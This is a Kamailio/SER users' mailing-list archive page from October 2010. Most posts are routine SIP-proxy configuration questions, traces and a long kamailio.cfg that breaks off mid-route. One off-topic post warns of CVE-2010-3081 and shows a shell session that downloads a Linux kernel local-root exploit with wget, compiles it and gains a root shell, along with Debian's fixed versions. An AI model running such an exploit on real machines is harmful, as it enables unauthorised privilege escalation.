Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. >From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

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Regd: Kamailio + Asterisk
by jack nicolson 15 Oct '10

15 Oct '10

Hi, I am trying to use kamailio as SIP server, so that it receive SIP invite and rewrite to asterisk, the set up is working fine for audio stuff, however for video it is not working properly, For rtsp stream I am getting no media found in asterisk log Could help me in it. Thanks Jack

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Record-route issue in Kamailio 3.0.3
by Morten Isaksen 14 Oct '10

14 Oct '10

Hi, I think I have found a issue with recourd-route in Kamailio 3.0.3. My old setup was: Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Mediant 2000 (ISDN). That worked fine. Now I have inserted a new server in this setup. Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Kamailio (UDP) <--> (UDP) Mediant 2000 (ISDN). When OpenSer sends the message to Kamailio the recourd-routes look like this: Record-Route: <sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b> Record-Route: <sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> But when the message comes back from Kamailio it is: Record-Route: <sip:x.x.248.7;lr=on;ftag=3d9e7d131b;did=584.1a683a45>,<sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b>,<sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> OpenSER forwards the message to the OCS with Record-route unchanged and the OCS gets confused and does not reply. I am not that strong in the SIP RFC's. Is it part of the SIP standard to compact the record-route into one line? Is it a bug in Kamailio or is it just a parameter that needs to be changed? Any help will be much appreciated. -- Morten Isaksen

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Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 14 Oct '10

14 Oct '10

Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com

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where to look
by Anders 14 Oct '10

14 Oct '10

Hi, I was wondering if a message like this below in the syslog contains any lead as to where to look for the problem. The [23582] is a lead to where the problem occured? Oct 14 13:34:52 server1 /usr/local/sbin/kamailio[23582]: ERROR:db_mysql:db_mysql_submit_query: driver error on query: Unknown column 'xxxxx' in 'where clause' And concerning this specific issue, where I put 'xxxxx' appears the src_user. Problem in kamailio.cfg, right? Thanks! //Anders

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redirect on register
by Nick Olkin 14 Oct '10

14 Oct '10

Hi all! I need to implement a kind of Location Server. The idea behind is to process the REGISTER messages and analyze the source IP address of the packet and reply with the "302 Moved Temporarily" message. What I want to achieve - provide the SIP client with the "nearest" point to use for registration and further communications. The possible approach is: 1. make some list of available registrars/SBC's mapped to appropriate IP (sub)networks. 2. configure SER to process REGISTER messages and reply with "302 Moved Temporarily" having the IP or name of "nearest" point in Contact field. Does anybody have any ideas on possible implementations (with SER or perhaps with some other tools)? Thanks a lot! PS. At this moment I can certainly send "302 Moved Temporarily" on REGISTER with SER, but I have no idea on how to insert correct Contact header, so my SIP client just stops registering.

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Re: [SR-Users] Regarding SER Listening on two ports
by Saurabh Srivastava 14 Oct '10

14 Oct '10

Hello, We are facing a problem after doing the changes that you said to do in the configuration file. Now we are able to get the server listening on two ports such as 5060 & 5062 but now the problem is that the user agent which is registered from 5060 is able to communicate with the other user agent registered to 5060 and the same is true for the other port 5062 (i.e. the user agent which is registered from 5062 is able to communicate with the other user agent registered to 5062.). But there is no communication happening in case of one user is registered to 5060 and the other user is registered through 5062. Please help us in this regard. Thanks and Best Regards Saurabh Srivastava On Wed, Oct 13, 2010 at 5:59 PM, Saurabh Srivastava <saurabh(a)atc-labs.com>wrote: > Hello Andrei, > > Wwhere do we need to add this line > > "listen=eth0:5060 eth0:5062" > > in the ser.cfg file or somewhere else. Please guide me through the steps or > if it is possible can you please attach an example ser.cfg for listening on > 2 ports. > > Thanks and Best Regards > Saurabh Srivastava > > On Fri, Oct 8, 2010 at 1:28 PM, Andrei Pelinescu-Onciul < > andrei(a)iptel.org> wrote: > >> On Oct 06, 2010 at 11:43, Saurabh Srivastava <saurabh(a)atc-labs.com> >> wrote: >> > Hello SER Team, >> > >> > We are using SER as a SIP Server for our purpose. We wan to configure >> SER to >> > listen on two ports at the same time(i.e. 5060 & some other custom port >> such >> > as 5090 or something like that). Can you please assist us how can we >> achieve >> > this, means what changes we need to make such that SER listens on two >> ports >> > at the same time. >> >> Add >> listen=eth0:5060 eth0:5062 >> >> The generic format is: listen=[proto:]ip_hostname_or_interface[:port]. >> >> You can also do it form the command line. e.g.: >> ser -f yourconfig -l 127.0.0.1:5060 -l 127.0.0.1:5062 >> >> Andre > >

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Use Kamailio
by michel freiha 14 Oct '10

14 Oct '10

*Dear All, I'm planning to use Kamailio in a high network traffic environment... I'm sure that it can handle several thousand of calls when using SIP over UDP but I have a doubt regarding TLS/TCPusage with Kamailio...I saw on the website that the latest version fixed that BUG that I had bad experience with and Kamailio is ready now for using TLS over TCP with no problem... My question is, how much TLS/TCP calls Kamailio can handle and does anyone had an experience with it? Regards*

2 1

forward sip register
by Borin 14 Oct '10

14 Oct '10

Hello, I am not good at kamailio. Could anyone tell me how can I forward register messages coming to kamailio to asterisk? I need users to be registered on kamailio and on asterisk at one time. I do in kamailio.cfg: if (is_method("REGISTER")) { save("location"); route(FWD_REG); exit; } route[FWD_REG] { rewritehost("Asterisk_IP:5060"); if(!t_relay()) sl_reply_error(); exit; } But it (kamailio ver 3.1) does not forward them.

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[OT] Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability
by Iñaki Baz Castillo 14 Oct '10

14 Oct '10

In any Linux Kernel 64 bits < 2.6.36-rc4: -------------------------------------------- ibc@myserver :/tmp$ whoami ibc ibc@myserver:/tmp$ wget http://packetstormsecurity.org/1009-exploits/robert_you_suck.c ibc@myserver:/tmp$ gcc -o putada robert_you_suck.c ibc@myserver:/tmp$ ./putada resolved symbol commit_creds to 0xffffffff81092120 resolved symbol prepare_kernel_cred to 0xffffffff81091fa0 mapping at 3f80000000 UID 0, EUID:0 GID:0, EGID:0 sh-3.2# whoami root <----------- OPSSSS !!! -------------------------------------------- More info: http://packetstormsecurity.org/filedesc/robert_you_suck.c.html Fixed in Debian (kernel patch backported): http://security-tracker.debian.org/tracker/CVE-2010-3081 - lenny (security) 2.6.26-25lenny1 fixed - lenny-backports 2.6.32-23~bpo50+1 fixed - squeeze 2.6.32-23 fixed -- Iñaki Baz Castillo <ibc(a)aliax.net>

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Best ASR with Kamailio
by Yury Naumovich 13 Oct '10

13 Oct '10

Good day. How with Kamailio improve ASR to ~100%, if we have 3-4 wholesale Voip providers? Each can guaranty only ASR 60-70%. Best regards, Yury

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rtp proxy - where to invoke?
by Anders 13 Oct '10

13 Oct '10

Hi, I'm trying to get the RTP proxy to work with Kamailio (1.5), but right now I am getting this error here: Oct 13 16:54:44 vn1031 /usr/local/sbin/kamailio[13622]: ERROR:nathelper:force_rtp_proxy: incorrect port 0 in reply from rtp proxy There is probably something wrong in my cfg - for the use of force_rtp_proxy that part of my config is here below. See anything odd that could lead to the error above? route { ...... route(4); ...... } route[4]{ force_rport(); if (nat_uac_test("19")) { if (method=="REGISTER") { fix_nated_register(); } else { fix_nated_contact(); } setflag(5); } return; } route[5] { if (is_method("BYE")) { unforce_rtp_proxy(); } else if (is_method("INVITE")){ force_rtp_proxy(); } if (!has_totag()) add_rr_param(";nat=yes"); return; } onreply_route[1] { xdbg("incoming reply\n"); if (!(status =~ "183" || status =~ "200")) exit; #fix_nated_contact(); force_rtp_proxy(); }

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core:parse error
by Anders 13 Oct '10

13 Oct '10

Hi, I'm getting a bunch of these sequences in my syslog - and have absolutely no idea where to look for the problem. Any pointers, please? Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:parse_cseq: expecting CSeq EoL Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:parse_cseq: bad cseq Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:get_hdr_field: bad cseq Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:maxfwd:is_maxfwd_present: parsing MAX_FORWARD header failed! Thanks!! --Anders

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kamailio-3.1.0+lenny3 + siptrace
by MÉSZÁROS Mihály 13 Oct '10

13 Oct '10

Hello all! I am getting the following problem with 3.1.0 kamailio: ERROR: <core> [sr_module.c:875]: init_mod(): Error while initializing module siptrace (/usr/lib/kamailio/modules_k/siptrace.so) config: loadmodule "siptrace.so" # ----- siptrace params ----- modparam("siptrace", "db_url", "mysql://openser:openserrw@localhost/openser") modparam("siptrace", "table", "sip_trace") modparam("siptrace", "trace_flag", 22) modparam("siptrace", "traced_user_avp", "$avp(s:user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_sl_acks", 1) modparam("siptrace", "trace_local_ip", "10.1.1.1:5064") Any help appreciated. Best Regards, Misi

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Kamailio Scalability
by michel freiha 13 Oct '10

13 Oct '10

*Dear All, I'm planning to use Kamailio in a high network traffic environment... I'm sure that it can handle several thousand of calls when using SIP over UDP but I have a doubt regarding TLS/TCPusage with Kamailio...I saw on the website that the latest version fixed that BUG that I had bad experience with and Kamailio is ready now for using TLS over TCP with no problem... My question is, how much TLS/TCP calls Kamailio can handle and does anyone had an experience with it? Regards*

1 0

mtree memory comsumption question
by anthony thomas 13 Oct '10

13 Oct '10

Hello list, I have been testing the new mtree module but I am a little bit confused about the results. On my tests, I randomly generated 500K, 1M and 2M entries in a table in several trees. The size of the db (on disk) ranges from 120 megs to 270 megs and when Kamailio loads it in memory, it jumps from 1.0Gb to 2.8Gb. Is there any way to pre-calculate the total amount of memory that a tree will need? Thanks, A

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Need some help with showing one of my ITSPs that they have a problem.
by Geoffrey Mina 13 Oct '10

13 Oct '10

Hello, I am currently going through an Inter-Op test with a new carrier and there have been some issues. I have my Kamailio server integrated with many tier-1 carriers, so I'm pretty sure I'm doing everything OK. The problem is in the BYE coming from the ITSP, the URI isn't valid, but I am not sure based on RFC3261 exactly why it isn't correct. If anyone can take a quick glance, I would really appreciate it. Thanks! >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> INVITE sip:16782247008@67.150.160.10:5060 SIP/2.0 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060> Contact: <sip:2026097878@X.X.X.238> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE User-Agent: G-Tel v1.0 Max-Forwards: 69 Date: Mon, 11 Oct 2010 17:50:31 GMT Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Supported: replaces P-Charge-Info: ""4019921313"" <sip:4019921313@connectfirst.com<sip%3A4019921313(a)connectfirst.com> > Content-Type: application/sdp Content-Length: 244 v=0 o=root 10137 10137 IN IP4 X.X.X.238 s=session c=IN IP4 X.X.X.238 t=0 0 m=audio 11748 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=silenceSupp:off - - - - a=ptime:20 a=sendrecv <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 100 Trying Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Length: 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 183 Session Progress Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Type: application/sdp Content-Length: 109 v=0 o=ATSI-B1 0 0 IN IP4 67.150.160.10 s=sip call c=IN IP4 67.150.160.10 t=0 0 m=audio 17308 RTP/AVP 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 200 OK Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Type: application/sdp Content-Length: 109 v=0 o=ATSI-B1 0 0 IN IP4 67.150.160.10 s=sip call c=IN IP4 67.150.160.10 t=0 0 m=audio 17308 RTP/AVP 0 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ACK sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10> SIP/2.0 Via: SIP/2.0/UDP X.X.X.238:5060;branch=z9hG4bK60b74898;rport Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Contact: <sip:2026097878@X.X.X.238> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 ACK User-Agent: G-Tel v1.0 Max-Forwards: 70 Content-Length: 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< BYE sip:X.X.X.90;lr;ftag=as4c62e0b9 SIP/2.0 Via: SIP/2.0/UDP 67.150.160.10;branch=z9hG4bKvNBHaK6ZByQmg Max-Forwards: 70 From: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja To: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 BYE Content-Length: 0 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> SIP/2.0 404 Not here Via: SIP/2.0/UDP 67.150.160.10;branch=z9hG4bKvNBHaK6ZByQmg From: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja To: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 BYE Server: Kamailio Content-Length: 0

2 1

failure_route does not fire up after
by Mino Haluz 12 Oct '10

12 Oct '10

Hi, I've been struggling with this problem very long time and I am starting to be quite desperate. I'm trying to implement voicemail redirection after 15 secs of ringing. So I set fr_inv_timer, set the event handler with t_on_failure. But after 15secs of ringing the failture_route block does not execute at all, the transaction is lost and after these 15 secs it has strange behaviour (the phone is still ringing, even after the other side has cancelled the call). I'm attaching the configuration without sensitive data. Please tell me whether problem is in the configuration or somewhere outside of kamailio. Thanks for any suggestion. #!ifdef ACCDB_COMMENT ALTER TABLE acc ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_call ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; #!endif # ----------------------------------------------------------------------------------------- #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB #!define WITH_NAT # ----------------------------------------------------------------------------------------- ####### Global Parameters ######### #!ifdef WITH_DEBUG debug=4 log_stderror=yes #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL7 fork=yes #fork=yes children=4 /* uncomment the next line to disable TCP (default on) */ #disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on revers DNS on IPs (default on) */ #auto_aliases=no /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ listen=udp:1.1.1.1:5060 # ----------------------------------------------------------------------------------------- alias=test # ----------------------------------------------------------------------------------------- port=5060 ####### Custom Parameters ######### # These parameters can be modified runtime via RPC interface # - see the documentation of 'cfg_rpc' module. # # Format: group.id = value 'desc' description # Access: $sel(cfg_get.group.id) or @cfg_get.group.id # ####### Modules Section ######## #set module path #mpath="/usr/local/lib/kamailio/modules_k/:/usr/local/lib/kamailio/modules/" mpath="/lib/kamailio/modules_k/:/lib/kamailio/modules/" /* uncomment next line for MySQL DB support */ #!ifdef WITH_MYSQL loadmodule "db_mysql.so" #!endif loadmodule "mi_fifo.so" loadmodule "kex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "uri_db.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "mi_rpc.so" loadmodule "acc.so" # Addition modules # ----------------------------------------------------------------------------------------- loadmodule "avpops.so" loadmodule "regex.so" loadmodule "sqlops.so" loadmodule "dialog.so" loadmodule "call_control.so" loadmodule "mediaproxy.so" loadmodule "siptrace.so" loadmodule "mi_datagram.so" loadmodule "group.so" loadmodule "permissions.so" # ----------------------------------------------------------------------------------------- modparam("mi_datagram", "socket_name", "/var/run/kamailio/kamailio.sock") # The name of a UNIX SOCKET used by Callcontrol modparam("dialog", "dlg_flag", 4) #modparam("call_control", "disable", 0) #modparam("call_control", "signaling_ip_avp", "$avp(s:signaling_ip)") # ----------------------------------------------------------------------------------------- modparam("sqlops","sqlcon","ca=>mysql:/") # The definition of a DB connection modparam("mediaproxy", "mediaproxy_socket", "/var/run/mediaproxy/dispatcher.sock") # Path to the filesystem socket where the mediaproxy dispatcher listens for commands # ----------------------------------------------------------------------------------------- modparam("tm", "ruri_matching", 1) modparam("tm", "restart_fr_on_each_reply", 0) # Final response timer will be re-triggered for each received provisional reply #modparam("tm", "fr_timer", 15000) # Timer which hits if no final reply for an INVITE arrives (15 sec) modparam("tm", "fr_inv_timer", 15000) # Timer which hits if no final reply for an INVITE arrives (15 sec) # ----------------------------------------------------------------------------------------- modparam("siptrace", "db_url", "") # Database URL modparam("siptrace", "traced_user_avp", "$avp(s:traced_user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_flag", 22) # Flag is used to mark messages to trace # ----------------------------------------------------------------------------------------- # Radius settings modparam("acc", "failed_transaction_flag", 1) modparam("acc", "report_cancels", 0) modparam("acc", "report_ack", 0) modparam("acc", "early_media", 0) modparam("acc", "log_level", 1) modparam("acc", "log_flag", 1) modparam("acc", "log_missed_flag", 1) modparam("acc", "radius_config", "/etc/radiusclient-ng/radiusclient.conf") # This is the location of the configuration file of radius client modparam("acc", "radius_flag", 1) modparam("acc", "radius_missed_flag", 1) modparam("acc", "radius_extra", "User-Name=$Au; \ Calling-Station-Id=$from; \ Called-Station-Id=$to; \ Sip-Translated-Request-URI=$avp(s:translated_uri); \ Sip-RPid=$avp(s:rpid); \ Source-IP=$si; \ Source-Port=$sp; \ Canonical-URI=$avp(s:can_uri); \ Billing-Party=$avp(s:billing_party); \ Divert-Reason=$avp(s:divert_reason); \ X-RTP-Stat=$hdr(X-RTP-Stat); \ Contact=$hdr(contact); \ Event=$hdr(event); \ SIP-Proxy-IP=$avp(s:sip_proxy_ip); \ ENUM-TLD=$avp(s:enum_tld)") # ----------------------------------------------------------------------------------------- #!ifdef WITH_AUTH loadmodule "auth.so" loadmodule "auth_db.so" #!endif /* uncomment next line for aliases support NOTE: a DB (like db_mysql) module must be also loaded */ #loadmodule "alias_db.so" /* uncomment next line for multi-domain support NOTE: a DB (like db_mysql) module must be also loaded NOTE: be sure and enable multi-domain support in all used modules (see "multi-module params" section ) */ loadmodule "domain.so" #!ifdef WITH_PRESENCE loadmodule "presence.so" loadmodule "presence_xml.so" #!endif #!ifdef WITH_NAT loadmodule "nathelper.so" #!endif loadmodule "uac.so" # ----------------- setting module-specific parameters --------------- # --- enable CLI with append_rpid_hf --- modparam("auth", "rpid_prefix", "<sip:") modparam("auth", "rpid_suffix", "@1.1.1.1;user=phone>;party=calling; screen=yes; privacy=off") #modparam("auth", "rpid_avp", "$avp(s:rpid)") # ----- mi_fifo params ----- # ----------------------------------------------------------------------------------------- modparam("mi_fifo", "fifo_name", "/tmp/kamailio_fifo") # ----------------------------------------------------------------------------------------- # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) modparam("rr", "append_fromtag", 1) # ----- rr params ----- modparam("registrar", "method_filtering", 1) /* uncomment the next line to disable parallel forking via location */ # modparam("registrar", "append_branches", 0) /* uncomment the next line not to allow more than 10 contacts per AOR */ #modparam("registrar", "max_contacts", 10) # ----- uri_db params ----- /* by default we disable the DB support in the module as we do not need it in this configuration */ modparam("uri_db", "use_uri_table", 0) modparam("uri_db", "db_url", "mysql://") modparam("domain", "db_url", "mysql://") # ----- acc params ----- /* what sepcial events should be accounted ? */ modparam("acc", "early_media", 1) modparam("acc", "report_ack", 1) modparam("acc", "report_cancels", 1) /* by default ww do not adjust the direct of the sequential requests. if you enable this parameter, be sure the enable "append_fromtag" in "rr" module */ modparam("acc", "detect_direction", 0) /* account triggers (flags) */ modparam("acc", "failed_transaction_flag", 3) modparam("acc", "log_flag", 1) modparam("acc", "log_missed_flag", 2) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") /* enhanced DB accounting */ #!ifdef WITH_ACCDB modparam("acc", "db_flag", 1) modparam("acc", "db_missed_flag", 2) modparam("acc", "db_url", "mysql://") modparam("acc", "db_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") #!endif # ----- usrloc params ----- /* enable DB persistency for location entries */ #!ifdef WITH_USRLOCDB modparam("usrloc", "db_mode", 2) modparam("usrloc", "db_url", "mysql://") #!endif # ----- auth_db params ----- /* enable the DB based authentication */ #!ifdef WITH_AUTH modparam("auth_db", "calculate_ha1", yes) modparam("auth_db", "password_column", "password") modparam("auth_db", "db_url", "mysql://") modparam("auth_db", "load_credentials", "rpid") #!endif # -- group params -- /* for grp mysql table usage - groups - siptrace, blocked*/ modparam("group", "db_url", "mysql://") modparam("group", "table", "grp") modparam("group", "user_column", "username") modparam("group", "domain_column", "domain") modparam("group", "group_column", "grp") # -- permissions params -- /* for trusted table usage and other functions - other modparam are default */ modparam("permissions", "db_url", "mysql://") modparam("permissions", "db_mode", 1) # ----- alias_db params ----- /* uncomment the following lines if you want to enable the DB based aliases */ #modparam("alias_db", "db_url", # "mysql://") # ----- domain params ----- /* uncomment the following lines to enable multi-domain detection support */ #modparam("domain", "db_url", # "mysql://") #modparam("domain", "db_mode", 1) # Use caching # ----- multi-module params ----- /* uncomment the following line if you want to enable multi-domain support in the modules (dafault off) */ #modparam("alias_db|auth_db|usrloc|uri_db", "use_domain", 1) # ----- presence params ----- /* enable presence server support */ #!ifdef WITH_PRESENCE modparam("presence|presence_xml", "db_url", "mysql://") modparam("presence_xml", "force_active", 1) modparam("presence", "server_address", "sip:10.0.0.10:5060") #!endif # ----- nathelper ----- #!ifdef WITH_NAT #modparam("nathelper", "rtpproxy_sock", "udp:127.0.0.1:7722") #modparam("nathelper", "natping_interval", 30) #modparam("nathelper", "ping_nated_only", 1) #modparam("nathelper", "sipping_bflag", 7) #modparam("nathelper", "sipping_from", "sip:pinger@kamailio.org<sip%3Apinger(a)kamailio.org> ") modparam("registrar|nathelper", "received_avp", "$avp(i:80)") modparam("usrloc", "nat_bflag", 6) #!endif ####### Routing Logic ######## # main request routing logic route{ #------------SANITY CHECK---------------------------------------------------------------- xlog("L_INFO","XLOG ****************START*($rm)*S_IP($si)*CallID($ci)*********************"); if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); xlog("L_INFO","XLOG: Too many hops man"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if(!sanity_check("1511", "7")) { xlog("L_INFO","XLOG: Malformed SIP message"); xlog("Malformed SIP message from $si:$sp\n"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # NAT detection xlog("L_INFO", "XLOG: Performing NAT detection"); route(NAT); if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { xlog("L_INFO", "XLOG: loose_route()"); if (is_method("BYE")) { xlog('L_INFO', 'XLOG: Method is BYE'); setflag(1); # do accounting ... setflag(3); # ... even if the transaction fails # end_media_session(); } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { xlog('L_INFO', 'XLOG: Method is SUBSCRIBE and uri == myself'); # in-dialog subscribe requests route(PRESENCE); #!ifndef WITH_PRESENCE #added by yenkee sl_send_reply("403", "Not Allowed"); #!endif xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ( is_method("ACK") ) { xlog('L_INFO', 'XLOG: Method is ACK'); if ( t_check_trans() ) { # non loose-route, but stateful ACK; must be an ACK after a 487 or e.g. 404 from upstream server xlog('L_INFO', 'XLOG: t_check_trans()'); t_relay(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } else { xlog('L_INFO', 'XLOG: ACK without matching transaction ... ignore 